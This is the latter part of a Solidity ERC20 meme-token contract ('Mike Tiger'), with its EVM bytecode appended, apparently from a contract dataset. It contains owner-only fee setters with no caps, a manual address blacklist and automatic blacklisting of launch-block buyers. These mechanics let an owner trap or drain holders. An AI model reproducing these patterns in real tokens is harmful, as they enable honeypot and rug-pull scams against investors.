function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
_burnFee = _previousburnFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isSniper[to], 'Stop sniping!');
require(!_isSniper[from], 'Stop sniping!');
require(!_isSniper[_msgSender()], 'Stop sniping!');
if (from != owner() && to != owner()) {
if (!tradingOpen) {
revert("Trading not yet enabled!");
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
if (to != address(this) && from != address(this) && to != _marketingAddress && from != _marketingAddress) {
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
}
}
if (to != uniswapV2Pair && to != _marketingAddress && to != address(this) && to != deadAddress) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance > _swapTokensAtAmount;
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
uint256 burntAmount = 0;
if (_burnFee > 0) {
burntAmount = contractTokenBalance.mul(_burnFee).div(10**2);
burnTokens(burntAmount);
}
swapTokensForEth(contractTokenBalance - burntAmount);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_buyMap[to] = block.timestamp;
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
if (block.timestamp == launchTime) {
_isSniper[to] = true;
}
}
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function burnTokens(uint256 burntAmount) private {
_transfer(address(this), deadAddress, burntAmount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading() public onlyOwner {
require(!tradingOpen);
tradingOpen = true;
launchTime = block.timestamp;
}
function setMarketingWallet(address marketingAddress) external {
require(_msgSender() == _marketingAddress);
_marketingAddress = payable(marketingAddress);
_isExcludedFromFee[_marketingAddress] = true;
}
function manualswap(uint256 amount) external {
require(_msgSender() == _marketingAddress);
require(amount <= balanceOf(address(this)) && amount > 0, "Wrong amount");
swapTokensForEth(amount);
}
function addSniper(address[] memory snipers) external onlyOwner {
for(uint256 i= 0; i< snipers.length; i++){
_isSniper[snipers[i]] = true;
}
}
function removeSniper(address sniper) external onlyOwner {
if (_isSniper[sniper]) {
_isSniper[sniper] = false;
}
}
function isSniper(address sniper) external view returns (bool){
return _isSniper[sniper];
}
function manualsend() external {
require(_msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) external onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) external onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setTaxFee(uint256 amountBuy, uint256 amountSell) external onlyOwner {
_taxFeeOnBuy = amountBuy;
_taxFeeOnSell = amountSell;
}
function setRefFee(uint256 amountRefBuy, uint256 amountRefSell) external onlyOwner {
_redisFeeOnBuy = amountRefBuy;
_redisFeeOnSell = amountRefSell;
}
function setBurnFee(uint256 amount) external onlyOwner {
_burnFee = amount;
}
}
|
0x6080604052600436106101f25760003560e01c80636fc3eaec1161010d5780638da5cb5b116100a0578063a9059cbb1161006f578063a9059cbb1461069a578063c5528490146106d7578063dd62ed3e14610700578063ea1644d51461073d578063f2fde38b14610766576101f9565b80638da5cb5b146106025780638f9a55c01461062d57806395d89b41146106585780639e78fb4f14610683576101f9565b8063790ca413116100dc578063790ca4131461056c5780637c519ffb146105975780637d1db4a5146105ae578063881dce60146105d9576101f9565b80636fc3eaec146104d857806370a08231146104ef578063715018a61461052c57806374010ece14610543576101f9565b80632fd689e31161018557806349bd5a5e1161015457806349bd5a5e146104325780634bf2c7c91461045d5780635d098b38146104865780636d8aa8f8146104af576101f9565b80632fd689e31461038a578063313ce567146103b557806333251a0b146103e057806338eea22d14610409576101f9565b806318160ddd116101c157806318160ddd146102ce57806323b872dd146102f957806327c8f8351461033657806328bb665a14610361576101f9565b806306fdde03146101fe578063095ea7b3146102295780630f3a325f146102665780631694505e146102a3576101f9565b366101f957005b600080fd5b34801561020a57600080fd5b5061021361078f565b6040516102209190613ad8565b60405180910390f35b34801561023557600080fd5b50610250600480360381019061024b919061362e565b6107cc565b60405161025d9190613aa2565b60405180910390f35b34801561027257600080fd5b5061028d60048036038101906102889190613551565b6107ea565b60405161029a9190613aa2565b60405180910390f35b3480156102af57600080fd5b506102b8610840565b6040516102c59190613abd565b60405180910390f35b3480156102da57600080fd5b506102e3610866565b6040516102f09190613cda565b60405180910390f35b34801561030557600080fd5b50610320600480360381019061031b91906135df565b610877565b60405161032d9190613aa2565b60405180910390f35b34801561034257600080fd5b5061034b610950565b6040516103589190613a5e565b60405180910390f35b34801561036d57600080fd5b506103886004803603810190610383919061366a565b610956565b005b34801561039657600080fd5b5061039f610aa6565b6040516103ac9190613cda565b60405180910390f35b3480156103c157600080fd5b506103ca610aac565b6040516103d79190613d4f565b60405180910390f35b3480156103ec57600080fd5b5061040760048036038101906104029190613551565b610ab5565b005b34801561041557600080fd5b50610430600480360381019061042b91906136fd565b610bf8565b005b34801561043e57600080fd5b50610447610c9f565b6040516104549190613a5e565b60405180910390f35b34801561046957600080fd5b50610484600480360381019061047f91906136d4565b610cc5565b005b34801561049257600080fd5b506104ad60048036038101906104a89190613551565b610d64565b005b3480156104bb57600080fd5b506104d660048036038101906104d191906136ab565b610e83565b005b3480156104e457600080fd5b506104ed610f35565b005b3480156104fb57600080fd5b5061051660048036038101906105119190613551565b610fa7565b6040516105239190613cda565b60405180910390f35b34801561053857600080fd5b50610541610ff8565b005b34801561054f57600080fd5b5061056a600480360381019061056591906136d4565b61114b565b005b34801561057857600080fd5b506105816111ea565b60405161058e9190613cda565b60405180910390f35b3480156105a357600080fd5b506105ac6111f0565b005b3480156105ba57600080fd5b506105c36112c3565b6040516105d09190613cda565b60405180910390f35b3480156105e557600080fd5b5061060060048036038101906105fb91906136d4565b6112c9565b005b34801561060e57600080fd5b5061061761138d565b6040516106249190613a5e565b60405180910390f35b34801561063957600080fd5b506106426113b6565b60405161064f9190613cda565b60405180910390f35b34801561066457600080fd5b5061066d6113bc565b60405161067a9190613ad8565b60405180910390f35b34801561068f57600080fd5b506106986113f9565b005b3480156106a657600080fd5b506106c160048036038101906106bc919061362e565b6116b2565b6040516106ce9190613aa2565b60405180910390f35b3480156106e357600080fd5b506106fe60048036038101906106f991906136fd565b6116d0565b005b34801561070c57600080fd5b50610727600480360381019061072291906135a3565b611777565b6040516107349190613cda565b60405180910390f35b34801561074957600080fd5b50610764600480360381019061075f91906136d4565b6117fe565b005b34801561077257600080fd5b5061078d60048036038101906107889190613551565b61189d565b005b60606040518060400160405280601481526020017f4d69636861656c20476572617264205469676572000000000000000000000000815250905090565b60006107e06107d9611a5f565b8484611a67565b6001905092915050565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00000905090565b6000610884848484611c32565b61094584610890611a5f565b610940856040518060600160405280602881526020016144fe60289139600560008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108f6611a5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128cd9092919063ffffffff16565b611a67565b600190509392505050565b61dead81565b61095e611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109e290613bfa565b60405180910390fd5b60005b8151811015610aa257600160096000848481518110610a36577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610a9a90614014565b9150506109ee565b5050565b601a5481565b60006009905090565b610abd611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4190613bfa565b60405180910390fd5b600960008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610bf5576000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b50565b610c00611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8490613bfa565b60405180910390fd5b81600b8190555080600d819055505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ccd611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d5190613bfa565b60405180910390fd5b8060118190555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610da5611a5f565b73ffffffffffffffffffffffffffffffffffffffff1614610dc557600080fd5b80601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160066000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610e8b611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0f90613bfa565b60405180910390fd5b80601760166101000a81548160ff02191690831515021790555050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f76611a5f565b73ffffffffffffffffffffffffffffffffffffffff1614610f9657600080fd5b6000479050610fa481612931565b50565b6000610ff1600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299d565b9050919050565b611000611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461108d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161108490613bfa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b611153611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d790613bfa565b60405180910390fd5b8060188190555050565b600a5481565b6111f8611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161127c90613bfa565b60405180910390fd5b601760149054906101000a900460ff161561129f57600080fd5b6001601760146101000a81548160ff02191690831515021790555042600a81905550565b60185481565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661130a611a5f565b73ffffffffffffffffffffffffffffffffffffffff161461132a57600080fd5b61133330610fa7565b81111580156113425750600081115b611381576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137890613cba565b60405180910390fd5b61138a81612a0b565b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60195481565b60606040518060400160405280600a81526020017f4d696b6520546967657200000000000000000000000000000000000000000000815250905090565b611401611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461148e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148590613bfa565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561152e57600080fd5b505afa158015611542573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611566919061357a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115c857600080fd5b505afa1580156115dc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611600919061357a565b6040518363ffffffff1660e01b815260040161161d929190613a79565b602060405180830381600087803b15801561163757600080fd5b505af115801561164b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061166f919061357a565b601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006116c66116bf611a5f565b8484611c32565b6001905092915050565b6116d8611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611765576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161175c90613bfa565b60405180910390fd5b81600c8190555080600e819055505050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611806611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611893576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188a90613bfa565b60405180910390fd5b8060198190555050565b6118a5611a5f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611932576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161192990613bfa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199990613b7a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ad7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ace90613c9a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b3e90613b9a565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611c259190613cda565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611ca2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9990613c3a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611d12576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0990613afa565b60405180910390fd5b60008111611d55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d4c90613c1a565b60405180910390fd5b600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611de2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd990613c7a565b60405180910390fd5b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611e6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e6690613c7a565b60405180910390fd5b60096000611e7b611a5f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611f03576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611efa90613c7a565b60405180910390fd5b611f0b61138d565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611f795750611f4961138d565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561252557601760149054906101000a900460ff16611fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc490613b1a565b60405180910390fd5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156120785750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156121e5573073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156120e557503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561213f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156121995750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156121e4576018548111156121e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121da90613b5a565b60405180910390fd5b5b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141580156122915750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156122c957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612303575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612360576019548161231584610fa7565b61231f9190613e10565b1061235f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161235690613c5a565b60405180910390fd5b5b600061236b30610fa7565b90506000601a54821190508080156123905750601760159054906101000a900460ff16155b80156123ea5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156124025750601760169054906101000a900460ff165b80156124585750600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156124ae5750600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156125225760008060115411156124f3576124e760646124d960115486612d0590919063ffffffff16565b612d8090919063ffffffff16565b90506124f281612dca565b5b61250781846125029190613ef1565b612a0b565b6000479050600081111561251f5761251e47612931565b5b50505b50505b600060019050600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806125cc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061267f5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561267e5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561268d57600090506128bb565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156127385750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156127f75742600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600b54600f81905550600c54601081905550600a544214156127f6576001600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156128a25750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156128ba57600d54600f81905550600e546010819055505b5b6128c784848484612dda565b50505050565b6000838311158290612915576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161290c9190613ad8565b60405180910390fd5b50600083856129249190613ef1565b9050809150509392505050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612999573d6000803e3d6000fd5b5050565b60006007548211156129e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129db90613b3a565b60405180910390fd5b60006129ee612e07565b9050612a038184612d8090919063ffffffff16565b915050919050565b6001601760156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612a69577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612a975781602001602082028036833780820191505090505b5090503081600081518110612ad5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612b7757600080fd5b505afa158015612b8b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612baf919061357a565b81600181518110612be9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612c5030601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611a67565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612cb4959493929190613cf5565b600060405180830381600087803b158015612cce57600080fd5b505af1158015612ce2573d6000803e3d6000fd5b50505050506000601760156101000a81548160ff02191690831515021790555050565b600080831415612d185760009050612d7a565b60008284612d269190613e97565b9050828482612d359190613e66565b14612d75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d6c90613bda565b60405180910390fd5b809150505b92915050565b6000612dc283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612e32565b905092915050565b612dd73061dead83611c32565b50565b80612de857612de7612e95565b5b612df3848484612ef7565b80612e0157612e006130c2565b5b50505050565b6000806000612e146130df565b91509150612e2b8183612d8090919063ffffffff16565b9250505090565b60008083118290612e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e709190613ad8565b60405180910390fd5b5060008385612e889190613e66565b9050809150509392505050565b6000600f54148015612ea957506000601054145b8015612eb757506000601154145b15612ec157612ef5565b600f546012819055506010546013819055506011546014819055506000600f81905550600060108190555060006011819055505b565b600080600080600080612f0987613141565b955095509550955095509550612f6786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131a990919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ffc85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546131f390919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061304881613251565b613052848361330e565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516130af9190613cda565b60405180910390a3505050505050505050565b601254600f81905550601354601081905550601454601181905550565b600080600060075490506000683635c9adc5dea000009050613115683635c9adc5dea00000600754612d8090919063